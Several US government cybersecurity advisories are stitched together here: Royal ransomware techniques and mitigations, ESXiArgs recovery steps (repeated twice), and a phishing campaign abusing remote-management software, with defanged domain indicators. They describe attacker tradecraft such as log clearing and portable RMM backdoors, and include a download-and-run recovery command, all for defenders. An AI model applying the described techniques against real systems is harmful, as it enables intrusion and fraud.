Indicator Removal: Clear Windows Event Logs

T1070.001

The actors deleted shadow files and system and security logs after exfiltration.

Remote Desktop Protocol

T1021.001

The actors used valid accounts to move laterally through the domain controller using RDP.

Automated Collection

T1119

The actors used registry keys to auto-extract and collect files.

                                                                         Impact  

   

Technique Title

ID

Use

Data Encrypted for Impact

T1486

The actors encrypted data to determine which files were being used or blocked by other applications.

MITIGATIONS

FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Royal ransomware. These mitigations follow CISA’s Cybersecurity Performance Goals (CPGs), which provide a minimum set of practices and protections that are informed by the most common and impactful threats, tactics, techniques, and procedures, and which yield goals that all organizations across critical infrastructure sectors should implement:

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4].
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4].
    • Store passwords in hashed format using industry-recognized password managers.
    • Add password user “salts” to shared login credentials.
    • Avoid reusing passwords.
    • Implement multiple failed login attempt account lockouts [CPG 1.1].
    • Disable password hints.
    • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password patterns cyber criminals can easily decipher. 
    • Require administrator credentials to install software.
  • Require multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. 
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. 
  • Segment networks [CPG 8.1]. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. 
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic [CPG 5.1], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. 
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5].
  • Disable unused ports.
  • Consider adding an email banner to emails [CPG 8.3] received from outside your organization.
  • Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. 
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. 
  • Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. 
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3].

RESOURCES

REPORTING

FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Royal actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details requested include: a targeted company Point of Contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, host and network based indicators.

FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at https://www.cisa.gov/report.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.

REFERENCES

[1] Royal Rumble: Analysis of Royal Ransomware (cybereason.com)
[2] DEV-0569 finds new ways to deliver Royal ransomware, various payloads – Microsoft Security Blog
[3] 2023-01: ACSC Ransomware Profile – Royal | Cyber.gov.au

ACKNOWLEDGEMENTS

Recorded Future, Coveware, Digital Asset Redemption, Q6, and RedSense contributed to this CSA.

Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we’d welcome your feedback.

ESXiArgs Ransomware Virtual Machine Recovery Guidance

This post was originally published on this site

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory (CSA) in response to the ongoing ransomware campaign, known as “ESXiArgs.” Malicious actors may be exploiting known vulnerabilities in VMware ESXi servers that are likely running unpatched and out-of-service or out-of-date versions of VMware ESXi software to gain access and deploy ransomware. The ESXiArgs ransomware encrypts configuration files on ESXi servers, potentially rendering virtual machines (VMs) unusable. 

CISA has released an ESXiArgs recovery script at github.com/cisagov/ESXiArgs-Recover. Organizations that have fallen victim to ESXiArgs ransomware can use this script to attempt to recover their files. This CSA provides guidance on how to use the script.
ESXiArgs actors have compromised over 3,800 servers globally. CISA and FBI encourage all organizations managing VMware ESXi servers to: 

  • Update servers to the latest version of VMware ESXi software
  • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, and 
  • Ensure the ESXi hypervisor is not exposed to the public internet. 

If malicious actors have compromised your organization with ESXiArgs ransomware, CISA and FBI recommend following the script and guidance provided in this CSA to attempt to recover access to your files.  

Download the PDF version of this report: 

Note: CISA and FBI will update this CSA as more information becomes available.

Technical Details

Open-source reporting indicates that malicious actors are exploiting known vulnerabilities in VMware ESXi software to gain access to servers and deploy ESXiArgs ransomware. The actors are likely targeting end-of-life ESXi servers or ESXi servers that do not have the available ESXi software patches applied.[1] 

ESXiArgs ransomware encrypts certain configuration files on ESXi servers, potentially rendering VMs unusable. Specifically, the ransomware encrypts configuration files associated with the VMs; it does not encrypt flat files. As a result, it is possible, in some cases, for victims to reconstruct the encrypted configuration files based on the unencrypted flat file. The recovery script documented below automates the process of recreating configuration files. The full list of file extensions encrypted by the malware is: vmdkvmxvmxfvmsdvmsnvswpvmssnvramvmem.

Recovery Guidance

CISA and FBI do not encourage paying the ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report

CISA is providing these steps to enable organizations to attempt recovery of their VMs. CISA’s GitHub ESXiArgs recovery script, which also outlines these steps, is available at github.com/cisagov/ESXiArgs-Recover. CISA is aware that some organizations have reported success in recovering files without paying ransoms. CISA’s script is based on findings published by third-party researchers.[2] 

Any organization seeking to use CISA’s ESXiArgs recovery script should carefully review the script to determine if it is appropriate for their environment before deploying it. This script does not seek to delete the encrypted configuration files, but instead seeks to create new configuration files that enable access to the VMs. While CISA works to ensure that scripts like this one are safe and effective, this script is delivered without warranty, either implicit or explicit. Do not use this script without understanding how it may affect your system. CISA does not assume liability for damage caused by this script. Note: Organizations that run into problems with the script can create a GitHub issue at https://github.com/cisagov/ESXiArgs-Recover/issues; CISA will do our best to resolve concerns.

  1. Quarantine or take affected hosts offline to ensure that repeat infection does not occur.
  2. Download CISA’s recovery script and save it as /tmp/recover.sh.
    For example, with wgetwget -O /tmp/recover.sh https://raw.githubusercontent.com/cisagov/ESXiArgs-Recover/main/recover.sh.
  3. Give the script execute permissions: chmod +x /tmp/recover.sh
  4. Navigate to the folder of a VM you would like to recover and run ls to view the files.
    • Note: You may browse these folders by running ls /vmfs/volumes/datastore1. For instance, if the folder is called example, run cd /vmfs/volumes/datastore1/example.
  5. View files by running ls. Note the name of the VM (via naming convention: [name].vmdk).
  6. Run the recovery script with /tmp/recover.sh [name], where [name] is the name of the VM determined previously. 
    • If the VM is a thin format, run /tmp/recover.sh [name] thin.
    • If successful, the recovery script will output that it has successfully run. If unsuccessful, it may not be possible for the recovery script to recover your VMs; consider engaging external incident response help.
  7. If the script succeeded, re-register the VM.
    1. If the ESXi web interface is inaccessible, remove the ransom note and restore access via the following steps. (Note: Taking the steps below moves the ransom note to the file ransom.html. Consider archiving this file for future incident review.)
      • Run cd /usr/lib/vmware/hostd/docroot/ui/ && mv index.html ransom.html && mv index1.html index.html.
      • Run cd /usr/lib/vmware/hostd/docroot && mv index.html ransom.html && rm index.html && mv index1.html index.html.
      • Reboot the ESXi server (e.g., with the reboot command). After a few minutes, you should be able to navigate to the web interface.
      • In the ESXi web interface, navigate to the Virtual Machines page.
      • If the VM you restored already exists, right click on the VM and select Unregister (see figure 1).
Figure 1: Unregistering the virtual machine

Figure 1: Unregistering the virtual machine.

  • Select Create / Register VM (see figure 2).
  • Select Register an existing virtual machine (see figure 2).
Figure 2: Registering the virtual machine, selecting machine to register.

Figure 2: Registering the virtual machine, selecting machine to register.

Click Select one or more virtual machines, a datastore or a directory to navigate to the folder of the VM you restored. Select the vmx file in the folder (see figure 3).

Figure 3: Registering the virtual machine, finalizing registration.

Figure 3: Registering the virtual machine, finalizing registration.

Select Next and Finish. You should now be able to use the VM as normal.

Figure 3: Registering the virtual machine, finalizing registration.

Select Next and Finish. You should now be able to use the VM as normal.

  1. Update servers to the latest software version, disable the Service Location Protocol (SLP) service, and ensure the ESXi hypervisor is not configured to be exposed to the public internet before putting systems back online. 

Additional Incident Response

The above script only serves as a method to recover essential services. Although CISA and FBI have not seen any evidence that the actors have established persistence, we recommend organizations take the following additional incident response actions after applying the script:

  1. Review network logging to and from ESXi hosts and the guest VMs for unusual scanning activity.
  2. Review traffic from network segments occupied by the ESXi hosts and guests. Consider restricting non-essential traffic to and from these segments.

If you detect activity from the above, implement your incident response plan. CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report.

Organizations should also collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA also encourages government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response.  

Additional resources for recovering .vmdk files can be found on a third-party researcher’s website.[2]

Mitigations

Note: These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. For more information on the CPGs, including additional recommended baseline protections, see cisa.gov/cpg.

CISA and FBI recommend all organizations: 

  • Temporarily remove connectivity for the associated ESXi server(s).
    • Upgrade your ESXi servers to the latest version of VMware ESXi software [CPG 5.1]. ESXi releases are cumulative, and the latest builds are documented in VMware’s article, Build numbers and versions of VMware ESXi/ESX.
    • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, which ESXiArgs may leverage. For more information on executing workarounds, see VMware’s guidance How to Disable/Enable the SLP Service on VMware ESXi
    • Ensure your ESXi hypervisor is not configured to be exposed to the public internet.

In addition, CISA and FBI recommend organizations apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Ransomware

  • Maintain offline backups of data, and regularly test backup and restoration [CPG 7.3]. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident [CPG 7.1, 7.2].

 Mitigating and Preventing Ransomware

  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
  • Require phishing-resistant MFA for as many services as possible [CPG 1.3]—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement allow-listing policies for applications and remote access that only allow systems to execute known and permitted programs.
  • Open document readers in protected viewing modes to help prevent active content from running.
  • Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.
  • Use strong passwords [CPG 1.4] and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the NIST’s Special Publication 800-63B: Digital Identity Guidelines for more information.
  • Require administrator credentials to install software [CPG 1.5].
  • Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind [CPG 1.5].
  • Install and regularly update antivirus and antimalware software on all hosts.
  • Consider adding an email banner to messages coming from outside your organizations.
  • Disable hyperlinks in received emails.
  • Consider participating in CISA’s no-cost Automated Indicator Sharing (AIS) program to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. 

Responding to Ransomware Incidents

If a ransomware incident occurs at your organization:

  • Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).
  • Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
  • Follow the notification requirements as outlined in your cyber incident response plan.
  • Report incidents to CISA at cisa.gov/report, FBI at a local FBI Field Office, or the U.S. Secret Service (USSS) at a USSS Field Office.
  • Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: CISA and FBI strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.

Resources 

See Stopransomware.gov, a whole-of-government approach, for ransomware resources and alerts.

Acknowledgements

CISA and FBI would like to thank VMware for their contributions to this CSA.

References

Revisions

February, 2023: Initial Version

AA23-039A: ESXiArgs Ransomware Virtual Machine Recovery Guidance

This post was originally published on this site

Original release date: February 8, 2023

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory (CSA) in response to the ongoing ransomware campaign, known as “ESXiArgs.” Malicious actors may be exploiting known vulnerabilities in VMware ESXi servers that are likely running unpatched and out-of-service or out-of-date versions of VMware ESXi software to gain access and deploy ransomware. The ESXiArgs ransomware encrypts configuration files on ESXi servers, potentially rendering virtual machines (VMs) unusable. 

CISA has released an ESXiArgs recovery script at github.com/cisagov/ESXiArgs-Recover. Organizations that have fallen victim to ESXiArgs ransomware can use this script to attempt to recover their files. This CSA provides guidance on how to use the script.
ESXiArgs actors have compromised over 3,800 servers globally. CISA and FBI encourage all organizations managing VMware ESXi servers to: 

  • Update servers to the latest version of VMware ESXi software
  • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, and 
  • Ensure the ESXi hypervisor is not exposed to the public internet. 

If malicious actors have compromised your organization with ESXiArgs ransomware, CISA and FBI recommend following the script and guidance provided in this CSA to attempt to recover access to your files.  

Download the PDF version of this report: pdf, 712 kb.

Note: CISA and FBI will update this CSA as more information becomes available.

Technical Details

Open-source reporting indicates that malicious actors are exploiting known vulnerabilities in VMware ESXi software to gain access to servers and deploy ESXiArgs ransomware. The actors are likely targeting end-of-life ESXi servers or ESXi servers that do not have the available ESXi software patches applied.[1] 

ESXiArgs ransomware encrypts certain configuration files on ESXi servers, potentially rendering VMs unusable. Specifically, the ransomware encrypts configuration files associated with the VMs; it does not encrypt flat files. As a result, it is possible, in some cases, for victims to reconstruct the encrypted configuration files based on the unencrypted flat file. The recovery script documented below automates the process of recreating configuration files. The full list of file extensions encrypted by the malware is: vmdk, vmx, vmxf, vmsd, vmsn, vswp, vmss, nvram, vmem.

Recovery Guidance

CISA and FBI do not encourage paying the ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report

CISA is providing these steps to enable organizations to attempt recovery of their VMs. CISA’s GitHub ESXiArgs recovery script, which also outlines these steps, is available at github.com/cisagov/ESXiArgs-Recover. CISA is aware that some organizations have reported success in recovering files without paying ransoms. CISA’s script is based on findings published by third-party researchers.[2] 

Any organization seeking to use CISA’s ESXiArgs recovery script should carefully review the script to determine if it is appropriate for their environment before deploying it. This script does not seek to delete the encrypted configuration files, but instead seeks to create new configuration files that enable access to the VMs. While CISA works to ensure that scripts like this one are safe and effective, this script is delivered without warranty, either implicit or explicit. Do not use this script without understanding how it may affect your system. CISA does not assume liability for damage caused by this script. Note: Organizations that run into problems with the script can create a GitHub issue at https://github.com/cisagov/ESXiArgs-Recover/issues; CISA will do our best to resolve concerns.

1. Quarantine or take affected hosts offline to ensure that repeat infection does not occur.

2. Download CISA’s recovery script and save it as /tmp/recover.sh.
For example, with wget: wget -O /tmp/recover.sh https://raw.githubusercontent.com/cisagov/ESXiArgs-Recover/main/recover.sh.

3. Give the script execute permissions: chmod +x /tmp/recover.sh

4. Navigate to the folder of a VM you would like to recover and run ls to view the files.
Note: You may browse these folders by running ls /vmfs/volumes/datastore1. For instance, if the folder is called example, run cd /vmfs/volumes/datastore1/example.

5. View files by running ls. Note the name of the VM (via naming convention: [name].vmdk).

6. Run the recovery script with /tmp/recover.sh [name], where [name] is the name of the VM determined previously. 

a. If the VM is a thin format, run /tmp/recover.sh [name] thin.

b. If successful, the recovery script will output that it has successfully run. If unsuccessful, it may not be possible for the recovery script to recover your VMs; consider engaging external incident response help.

7. If the script succeeded, re-register the VM.

a. If the ESXi web interface is inaccessible, remove the ransom note and restore access via the following steps. (Note: Taking the steps below moves the ransom note to the file ransom.html. Consider archiving this file for future incident review.)

  • Run cd /usr/lib/vmware/hostd/docroot/ui/ && mv index.html ransom.html && mv index1.html index.html.
  • Run cd /usr/lib/vmware/hostd/docroot && mv index.html ransom.html && rm index.html && mv index1.html index.html.
  • Reboot the ESXi server (e.g., with the reboot command). After a few minutes, you should be able to navigate to the web interface.

b.    In the ESXi web interface, navigate to the Virtual Machines page.

  • If the VM you restored already exists, right click on the VM and select Unregister (see figure 1).

"Figure 1: Unregistering the virtual machine."

  • Select Create / Register VM (see figure 2).
  • Select Register an existing virtual machine (see figure 2).

"Figure 2: Registering the virtual machine, selecting machine to register."

  • Click Select one or more virtual machines, a datastore or a directory to navigate to the folder of the VM you restored. Select the vmx file in the folder (see figure 3).

"Figure 3: Registering the virtual machine, finalizing registration."

  • Select Next and Finish. You should now be able to use the VM as normal.

8.    Update servers to the latest software version, disable the Service Location Protocol (SLP) service, and ensure the ESXi hypervisor is not configured to be exposed to the public internet before putting systems back online. 

Additional Incident Response

The above script only serves as a method to recover essential services. Although CISA and FBI have not seen any evidence that the actors have established persistence, we recommend organizations take the following additional incident response actions after applying the script:

  1. Review network logging to and from ESXi hosts and the guest VMs for unusual scanning activity.
  2. Review traffic from network segments occupied by the ESXi hosts and guests. Consider restricting non-essential traffic to and from these segments.

If you detect activity from the above, implement your incident response plan. CISA and FBI urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at cisa.gov/report.

Organizations should also collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA also encourages government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response.  

Additional resources for recovering .vmdk files can be found on a third-party researcher’s website.[2]

Mitigations

Note: These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. For more information on the CPGs, including additional recommended baseline protections, see cisa.gov/cpg.

CISA and FBI recommend all organizations: 

  • Temporarily remove connectivity for the associated ESXi server(s).
    • Upgrade your ESXi servers to the latest version of VMware ESXi software [CPG 5.1]. ESXi releases are cumulative, and the latest builds are documented in VMware’s article, Build numbers and versions of VMware ESXi/ESX.
    • Harden ESXi hypervisors by disabling the Service Location Protocol (SLP) service, which ESXiArgs may leverage. For more information on executing workarounds, see VMware’s guidance How to Disable/Enable the SLP Service on VMware ESXi
    • Ensure your ESXi hypervisor is not configured to be exposed to the public internet.

In addition, CISA and FBI recommend organizations apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Ransomware

  • Maintain offline backups of data, and regularly test backup and restoration [CPG 7.3]. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident [CPG 7.1, 7.2].

 Mitigating and Preventing Ransomware

  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
  • Require phishing-resistant MFA for as many services as possible [CPG 1.3]—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement allow-listing policies for applications and remote access that only allow systems to execute known and permitted programs.
  • Open document readers in protected viewing modes to help prevent active content from running.
  • Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.
  • Use strong passwords [CPG 1.4] and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the NIST’s Special Publication 800-63B: Digital Identity Guidelines for more information.
  • Require administrator credentials to install software [CPG 1.5].
  • Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind [CPG 1.5].
  • Install and regularly update antivirus and antimalware software on all hosts.
  • Consider adding an email banner to messages coming from outside your organizations.
  • Disable hyperlinks in received emails.
  • Consider participating in CISA’s no-cost Automated Indicator Sharing (AIS) program to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. 

Responding to Ransomware Incidents

If a ransomware incident occurs at your organization:

  • Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).
  • Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
  • Follow the notification requirements as outlined in your cyber incident response plan.
  • Report incidents to CISA at cisa.gov/report, FBI at a local FBI Field Office, or the U.S. Secret Service (USSS) at a USSS Field Office.
  • Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: CISA and FBI strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.

Resources 

See Stopransomware.gov, a whole-of-government approach, for ransomware resources and alerts.

Acknowledgements

CISA and FBI would like to thank VMware for their contributions to this CSA.

References

Revisions

  • February, 2023: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Protecting Against Malicious Use of Remote Monitoring and Management Software

This post was originally published on this site

Summary

The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Multi-State Information Sharing and Analysis Center (MS-ISAC) (hereafter referred to as the “authoring organizations”) are releasing this joint Cybersecurity Advisory (CSA) to warn network defenders about malicious use of legitimate remote monitoring and management (RMM) software. In October 2022, CISA identified a widespread cyber campaign involving the malicious use of legitimate RMM software. Specifically, cyber criminal actors sent phishing emails that led to the download of legitimate RMM software—ScreenConnect (now ConnectWise Control) and AnyDesk—which the actors used in a refund scam to steal money from victim bank accounts.

Although this campaign appears financially motivated, the authoring organizations assess it could lead to additional types of malicious activity. For example, the actors could sell victim account access to other cyber criminal or advanced persistent threat (APT) actors. This campaign highlights the threat of malicious cyber activity associated with legitimate RMM software: after gaining access to the target network via phishing or other techniques, malicious cyber actors—from cybercriminals to nation-state sponsored APTs—are known to use legitimate RMM software as a backdoor for persistence and/or command and control (C2).

Using portable executables of RMM software provides a way for actors to establish local user access without the need for administrative privilege and full software installation—effectively bypassing common software controls and risk management assumptions.

The authoring organizations strongly encourage network defenders to review the Indicators of Compromise (IOCs) and Mitigations sections in this CSA and apply the recommendations to protect against malicious use of legitimate RMM software.

Download the PDF version of this report: pdf, 608 kb.

For a downloadable copy of IOCs, see AA23-025.stix (STIX, 19 kb).

Technical Details

Overview

In October 2022, CISA used trusted third-party reporting, to conduct retrospective analysis of EINSTEIN—a federal civilian executive branch (FCEB)-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected malicious activity on two FCEB networks:

  • In mid-June 2022, malicious actors sent a phishing email containing a phone number to an FCEB employee’s government email address. The employee called the number, which led them to visit the malicious domain, myhelpcare[.]online.
  • In mid-September 2022, there was bi-directional traffic between an FCEB network and myhelpcare[.]cc.

Based on further EINSTEIN analysis and incident response support, CISA identified related activity on many other FCEB networks. The authoring organizations assess this activity is part of a widespread, financially motivated phishing campaign and is related to malicious typosquatting activity reported by Silent Push in the blog post Silent Push uncovers a large trojan operation featuring Amazon, Microsoft, Geek Squad, McAfee, Norton, and Paypal domains.

Malicious Cyber Activity

The authoring organizations assess that since at least June 2022, cyber criminal actors have sent help desk-themed phishing emails to FCEB federal staff’s personal, and government email addresses. The emails either contain a link to a “first-stage” malicious domain or prompt the recipients to call the cybercriminals, who then try to convince the recipients to visit the first-stage malicious domain. See figure 1 for an example phishing email obtained from an FCEB network.

 

aa23-025a Figure 1 Help desk-themed phishing email example
Figure 1Help deskthemed phishing email example

 

The recipient visiting the first-stage malicious domain triggers the download of an executable. The executable then connects to a “second-stage” malicious domain, from which it downloads additional RMM software.

CISA noted that the actors did not install downloaded RMM clients on the compromised host. Instead, the actors downloaded AnyDesk and ScreenConnect as self-contained, portable executables configured to connect to the actor’s RMM server.

Note: Portable executables launch within the user’s context without installation. Because portable executables do not require administrator privileges, they can allow execution of unapproved software even if a risk management control may be in place to audit or block the same software’s installation on the network. Threat actors can leverage a portable executable with local user rights to attack other vulnerable machines within the local intranet or establish long term persistent access as a local user service.

CISA has observed that multiple first-stage domain names follow naming patterns used for IT help/support themed social-engineering, e.g., hservice[.]live, gscare[.]live, nhelpcare[.]info, deskcareme[.]live, nhelpcare[.]cc). According to Silent Push, some of these malicious domains impersonate known brands such as, Norton, GeekSupport, Geek Squad, Amazon, Microsoft, McAfee, and PayPal.[1] CISA has also observed that the first-stage malicious domain linked in the initial phishing email periodically redirects to other sites for additional redirects and downloads of RMM software.

Use of Remote Monitoring and Management Tools

In this campaign, after downloading the RMM software, the actors used the software to initiate a refund scam. They first connected to the recipient’s system and enticed the recipient to log into their bank account while remaining connected to the system. The actors then used their access through the RMM software to modify the recipient’s bank account summary. The falsely modified bank account summary showed the recipient was mistakenly refunded an excess amount of money. The actors then instructed the recipient to “refund” this excess amount to the scam operator.
Although this specific activity appears to be financially motivated and targets individuals, the access could lead to additional malicious activity against the recipient’s organization—from both other cybercriminals and APT actors. Network defenders should be aware that:

  • Although the cybercriminal actors in this campaign used ScreenConnect and AnyDesk, threat actors can maliciously leverage any legitimate RMM software.
  • Because threat actors can download legitimate RMM software as self-contained, portable executables, they can bypass both administrative privilege requirements and software management control policies.
  • The use of RMM software generally does not trigger antivirus or antimalware defenses.
  • Malicious cyber actors are known to leverage legitimate RMM and remote desktop software as backdoors for persistence and for C2.[2],[3],[4],[5],[6],[7],[8]
  • RMM software allows cyber threat actors to avoid using custom malware.

Threat actors often target legitimate users of RMM software. Targets can include managed service providers (MSPs) and IT help desks, who regularly use legitimate RMM software for technical and security end-user support, network management, endpoint monitoring, and to interact remotely with hosts for IT-support functions. These threat actors can exploit trust relationships in MSP networks and gain access to a large number of the victim MSP’s customers. MSP compromises can introduce significant risk—such as ransomware and cyber espionage—to the MSP’s customers.

The authoring organizations strongly encourage network defenders to apply the recommendations in the Mitigations section of this CSA to protect against malicious use of legitimate RMM software.

INDICATORS OF COMPROMISE

See table 1 for IOCs associated with the campaign detailed in this CSA.

Table 1: Malicious Domains and IP addresses observed by CISA

Domain

Description

Date(s) Observed

win03[.]xyz

Suspected first-stage malware domain

June 1, 2022

July 19, 2022

myhelpcare[.]online

Suspected first-stage malware domain

June 14, 2022

 

win01[.]xyz

Suspected first-stage malware domain

August 3, 2022

August 18, 2022

myhelpcare[.]cc

Suspected first-stage malware domain

September 14, 2022

247secure[.]us

Second-stage malicious domain

October 19, 2022

November 10, 2022

 

Additional resources to detect possible exploitation or compromise:

Mitigations

